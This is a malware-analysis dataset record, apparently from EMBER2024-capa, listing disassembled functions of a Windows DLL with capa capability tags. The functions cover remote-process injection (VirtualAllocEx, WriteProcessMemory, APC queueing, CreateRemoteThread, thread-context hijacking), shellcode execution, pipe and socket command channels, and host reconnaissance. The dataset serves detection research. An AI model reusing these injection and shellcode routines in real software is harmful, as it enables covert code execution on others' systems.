joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004199
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push ebx
push esi
push edi
mov esi, 0x4000
push esi
call fcn.1001517f
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.1001cd70
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push dword [ebp + 8]
push eax
call fcn.10006bfa
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.10006c13
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.10006d25
lea eax, [ebp - 0x10]
push 0x200000
push eax
call fcn.10001669
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.100016b9
push esi
push 0x1002d594
push ebx
call fcn.100165e8
add esp, 0x24
test eax, eax
jne 0x1000422b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002d598
push esi
push ebx
call fcn.100158e7
add esp, 0x10
push ebx
lea eax, [ebp - 0x10]
push 0x1002d520
push eax
call fcn.1000170c
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000428c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x34
call fcn.10001f45
add esp, 0xc
push 0x16
lea eax, [ebp - 0x10]
call fcn.1000176e
push eax
lea eax, [ebp - 0x10]
call fcn.1000176b
push eax
call fcn.100012d0
add esp, 0xc
push ebx
call fcn.100150a2
pop ecx
jmp 0x10004372
push ebx
call fcn.100150a2
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x170], 0x10
je 0x100042f5
lea eax, [ebp - 0x144]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
lea eax, [ebp - 0x10]
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.1000170c
add esp, 0x24
jmp 0x10004339
mov ecx, dword [ebp - 0x154]
lea edx, [ebp - 0x144]
push edx
movzx edx, word [ebp - 0x14]
push edx
movzx edx, word [ebp - 0x16]
mov eax, dword [ebp - 0x150]
push edx
movzx edx, word [ebp - 0x18]
push edx
movzx edx, word [ebp - 0x20]
push edx
movzx edx, word [ebp - 0x1a]
push edx
movzx edx, word [ebp - 0x1e]
push edx
push ecx
push eax
lea eax, [ebp - 0x10]
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.1000170c
add esp, 0x2c
lea eax, [ebp - 0x170]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004293
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x10]
call fcn.1000176e
push eax
lea eax, [ebp - 0x10]
call fcn.1000176b
push eax
call fcn.100012d0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
call fcn.1000174b
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004381
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x1000439f
xor eax, eax
jmp 0x100043c0
lea eax, [edi + 1]
cmp eax, dword [ebp + 0x10]
jae 0x1000439b
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call fcn.1001cd70
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x10004b98
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push dword [ebp + 0x28]
call fcn.1000af52
pop ecx
push 0x44
pop esi
push esi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.1001cd70
and dword [ebp - 0x14], 0
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
and dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp + 0x28]
mov dword [ebp - 0x48], 0x101
push dword [ebp + 0x24]
call fcn.1000a91a
add esp, 0x10
test eax, eax
je 0x10004c86
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
mov eax, dword [ebp - 0x20]
push dword [ebp + 0x18]
mov ecx, dword [ebp - 0x28]
push dword [ebp + 0xc]
lea edx, [ebp - 0x28]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10004fd2
add esp, 0x14
cmp dword [ebp + 8], 0
jbe 0x10004c69
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.10005da6
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100059e5
add esp, 0x1c
push dword [ebp + 0x28]
call fcn.1000af74
pop ecx
pop edi
pop esi
leave
ret
Function at 0x1000514d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
mov ebx, fcn.1000514d
push esi
sub ebx, 0x10005117
lea eax, [ebx + 0x10]
push edi
push eax
mov dword [ebp - 0xc], eax
call fcn.1001517f
mov esi, dword [ebp + 0x10]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
mov dword [ebp - 8], eax
add eax, 0x10
push 0x10005117
push eax
movsd dword es:[edi], dword [esi]
call fcn.1001bb80
mov edi, dword [ebp - 0xc]
add esp, 0x10
push 0x40
push 0x3000
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x100051c8
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp - 8]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100051c8
cmp dword [ebp - 4], edi
je 0x100051c8
xor esi, esi
push dword [ebp - 8]
call fcn.100150a2
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100051d8
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
xor eax, eax
push 6
pop ecx
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push str.NtQueueApcThread
xor esi, esi
push str.ntdll
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 0x1c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x10005309
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 8]
push dword [ebx]
call fcn.1000514d
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x10005309
push esi
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, esi
je 0x10005309
lea ecx, [ebp - 0x34]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10005309
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebx + 8]
jne 0x100052ac
push dword [ebp - 0x2c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
test eax, eax
je 0x100052ac
push 0
push 0
push edi
lea ecx, [edi + 0x10]
push ecx
push eax
call dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000527b
push dword [ebp + 8]
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10005309
cmp dword [ebp - 4], 0x10
jne 0x10005309
cmp dword [ebp - 0xc], 0
jne 0x1000530f
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
pop edi
pop esi
leave
ret
xor eax, eax
inc eax
jmp 0x1000530b

Function at 0x10005314
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push str.NtQueueApcThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10005336
xor eax, eax
pop ebp
ret
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call eax
test eax, eax
jne 0x10005332
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x1000535e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x1000537e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret

Function at 0x1000539b
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push esi
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
jne 0x100053c5
xor eax, eax
jmp 0x1000544a
mov ecx, dword [ebp + 8]
add eax, dword [ebp + 0x20]
sub ecx, 6
push edi
je 0x100053e8
dec ecx
jne 0x10005434
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x100053f7
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10005434
lea eax, [ebp - 0x2cc]
push eax
push edi
mov dword [ebp - 0x2cc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005434
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10005438
xor eax, eax
jmp 0x10005449
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
leave
ret
Function at 0x10005775
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.1001cd70
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100057b3
xor eax, eax
leave
ret
cmp dword [ebp - 0x94], 5
jne 0x100057cf
cmp dword [ebp - 0x90], 2
jne 0x100057cf
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100057af
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x1000584f
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x1000584f
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10033020
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10033070
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10005840
push 5
jmp 0x10005849
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005853
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10005876
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 4]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000587b
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
cmp dword [ebp + 0xc], 0
je 0x1000588e
xor eax, eax
leave
ret
cmp dword [esi + 0x10], 0
je 0x1000588a
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2cc], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000588a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000588a
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret
Function at 0x10005c4f
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10005ca9
or eax, 0xffffffff
jmp 0x10005cb1
cmp dword [ebp - 4], 0x80000
jae 0x10005cae
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x10005c65
cmp dword [ebp - 8], esi
ja 0x10005c7b
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x1000636c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x100063dc
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006408
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x100063c9
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x100063d4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x1000638b
jmp 0x100063df
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x10006408
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x100063fa
push 4
call fcn.10001f75
jmp 0x10006405
call esi
push eax
push 0x14
call fcn.10001f17
pop ecx
pop ecx
jmp 0x10006469
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x10006434
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10001f17
pop ecx
pop ecx
jmp 0x1000645b
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.100065df
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.10005fb2
add esp, 0x24
test eax, eax
jne 0x10006469
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000647e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
xor esi, esi
test edi, edi
jle 0x100064b8
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100064c1
cmp dword [ebp - 4], 0
je 0x100064c1
add esi, dword [ebp - 4]
cmp esi, edi
jl 0x1000648d
cmp esi, edi
jne 0x100064c1
mov eax, esi
pop esi
leave
ret
or eax, 0xffffffff
jmp 0x100064be
Function at 0x100064c6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and dword [ebp - 4], esi
xor eax, eax
inc eax
cmp dword [ebp + 0x10], esi
jle 0x1000650f
mov eax, dword [ebp + 0x10]
sub eax, esi
cmp eax, 0x2000
jle 0x100064e9
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000650d
add esi, dword [ebp - 4]
cmp esi, dword [ebp + 0x10]
jl 0x100064d8
jmp 0x1000650f
xor eax, eax
pop esi
leave
ret

Function at 0x1000660c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
and dword [ebp + 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x10006675
xor eax, eax
jmp 0x100066a4
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10006686
jg 0x1000667d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006686
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x10006649
jmp 0x1000668a
mov dword [ebp + 0xc], 1
jmp 0x1000668a
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100066d3
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edi, edi
jle 0x10006702
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000670b
test eax, eax
je 0x10006702
add esi, eax
cmp esi, edi
jl 0x100066dd
cmp esi, edi
jne 0x1000670b
mov eax, edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x10006708

Function at 0x100067d4
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.100065de
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x10006710
mov dword [esi + 0xc], 0x10006765
mov dword [esi + 0x10], 0x100067a2
mov dword [esi + 0x18], 0x100067bf
mov eax, esi
leave
ret
Function at 0x100068cc
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x494
call fcn.10006b7f
pop ecx
mov esi, 0x94
push esi
push eax
mov dword [ebp - 4], eax
call fcn.10006c81
lea edi, [esi + 0x6c]
push edi
push dword [ebp - 4]
mov ebx, eax
call fcn.10006c81
push edi
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call fcn.10006c81
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], eax
call fcn.10006c81
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call fcn.10006c81
add esp, 0x28
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.100026c5
push edi
push dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10006975
push 0x5c
push dword [ebp - 0x10]
call fcn.10016740
pop ecx
pop ecx
test eax, eax
je 0x10006975
inc eax
mov dword [ebp - 0x10], eax
jne 0x1000697c
mov dword [ebp - 0x10], 0x1002d692
push ebx
mov dword [ebx], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebx + 4]
mov esi, dword [ebp + 8]
mov dword [0x1003b32c], eax
movzx eax, al
push eax
call fcn.10001cc3
movzx eax, byte [ebx + 8]
pop ecx
push eax
call fcn.10001cc3
movzx eax, word [ebx + 0xc]
pop ecx
push eax
call fcn.10001ca3
pop ecx
push 0
call fcn.10001c86
pop ecx
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.10001c86
pop ecx
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.10001c86
pop ecx
push dword [ebp - 0x1c]
call fcn.10001c86
pop ecx
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push str._s_t_s_t_s
push edi
push dword [ebp - 0xc]
call fcn.100152d6
mov eax, dword [ebp - 0xc]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100069f9
sub eax, ecx
cmp eax, 0x3a
jle 0x10006a0a
push 0x3a
pop eax
push dword [ebp - 0xc]
mov ecx, eax
call fcn.10001cd5
pop ecx
push dword [ebp - 4]
call fcn.10006bca
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006dab
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10006dd9
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006ddf
cmp esi, dword [ebp + 0xc]
jl 0x10006db9
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10006ddb
Function at 0x10006e73
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 8], esi
call fcn.10002636
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10006e9d
mov eax, edi
jmp 0x10006ef3
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10006ed2
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10006e99
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x10006eca
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10006eca
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10007060
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x10007118
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007122
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007118
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x10007122
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007122
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x1000708b
pop esi
pop ebx
leave
ret